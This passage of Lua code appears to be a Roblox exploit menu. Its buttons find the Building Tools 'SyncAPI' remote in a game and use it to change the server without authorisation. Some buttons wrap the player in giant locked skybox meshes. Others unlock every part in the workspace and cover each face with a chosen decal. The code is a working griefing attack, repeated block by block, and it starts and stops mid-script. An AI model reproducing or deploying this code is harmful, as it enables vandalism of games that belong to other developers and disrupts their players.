"rbxassetid://".. asset } } } _(args) end function Sky(id) e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then --spawn(function() SetName(v,"Sky") AddMesh(v) --end) --spawn(function() SetMesh(v,"8006679977") SetTexture(v,id) --end) MeshResize(v,Vector3.new(50,50,50)) SetLocked(v,true) end end end Sky("85438565322315") end) end coroutine.wrap(TextButton_3_fake_script)() local function TextButton_4_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_4) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function Sky(id) e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then --spawn(function() SetName(v,"Sky") AddMesh(v) --end) --spawn(function() SetMesh(v,"8006679977") SetTexture(v,id) --end) MeshResize(v,Vector3.new(50,50,50)) SetLocked(v,true) end end end Sky("120309880657737") end) end coroutine.wrap(TextButton_4_fake_script)() local function TextButton_5_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_5) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function Sky(id) e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then --spawn(function() SetName(v,"Sky") AddMesh(v) --end) --spawn(function() SetMesh(v,"8006679977") SetTexture(v,id) --end) MeshResize(v,Vector3.new(50,50,50)) SetLocked(v,true) end end end Sky("137697261247207") end) end coroutine.wrap(TextButton_5_fake_script)() local function TextButton_6_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_6) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function Sky(id) e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then --spawn(function() SetName(v,"Sky") AddMesh(v) --end) --spawn(function() SetMesh(v,"8006679977") SetTexture(v,id) --end) MeshResize(v,Vector3.new(50,50,50)) SetLocked(v,true) end end end Sky("85856818740762") end) end coroutine.wrap(TextButton_6_fake_script)() local function TextButton_7_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_7) local button = script.Parent button.MouseButton1Click:Connect(function() script.Parent.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function Sky(id) e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then --spawn(function() SetName(v,"Sky") AddMesh(v) --end) --spawn(function() SetMesh(v,"8006679977") SetTexture(v,id) --end) MeshResize(v,Vector3.new(50,50,50)) SetLocked(v,true) end end end Sky("95881850574045") end) end) end coroutine.wrap(TextButton_7_fake_script)() local function TextButton_8_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_8) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function Sky(id) e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then --spawn(function() SetName(v,"Sky") AddMesh(v) --end) --spawn(function() SetMesh(v,"8006679977") SetTexture(v,id) --end) MeshResize(v,Vector3.new(50,50,50)) SetLocked(v,true) end end end Sky("87847053702138") end) end coroutine.wrap(TextButton_8_fake_script)() local function TextButton_9_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_9) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function spam(id) for i,v in game.workspace:GetDescendants() do if v:IsA("BasePart") then spawn(function() SetLocked(v,false) SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,id,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,id,Enum.NormalId.Back) SpawnDecal(v,Enum.NormalId.Right) AddDecal(v,id,Enum.NormalId.Right) SpawnDecal(v,Enum.NormalId.Left) AddDecal(v,id,Enum.NormalId.Left) SpawnDecal(v,Enum.NormalId.Bottom) AddDecal(v,id,Enum.NormalId.Bottom) SpawnDecal(v,Enum.NormalId.Top) AddDecal(v,id,Enum.NormalId.Top) end) end end end spam("117622844438673") end) end coroutine.wrap(TextButton_9_fake_script)() local function TextButton_10_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_10) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function spam(id) for i,v in game.workspace:GetDescendants() do if v:IsA("BasePart") then spawn(function() SetLocked(v,false) SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,id,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,id,Enum.NormalId.Back) SpawnDecal(v,Enum.NormalId.Right) AddDecal(v,id,Enum.NormalId.Right) SpawnDecal(v,Enum.NormalId.Left) AddDecal(v,id,Enum.NormalId.Left) SpawnDecal(v,Enum.NormalId.Bottom) AddDecal(v,id,Enum.NormalId.Bottom) SpawnDecal(v,Enum.NormalId.Top) AddDecal(v,id,Enum.NormalId.Top) end) end end end spam("137445467424701") end) end coroutine.wrap(TextButton_10_fake_script)() local function TextButton_11_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_11) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function spam(id) for i,v in game.workspace:GetDescendants() do if v:IsA("BasePart") then spawn(function() SetLocked(v,false) SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,id,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,id,Enum.NormalId.Back) 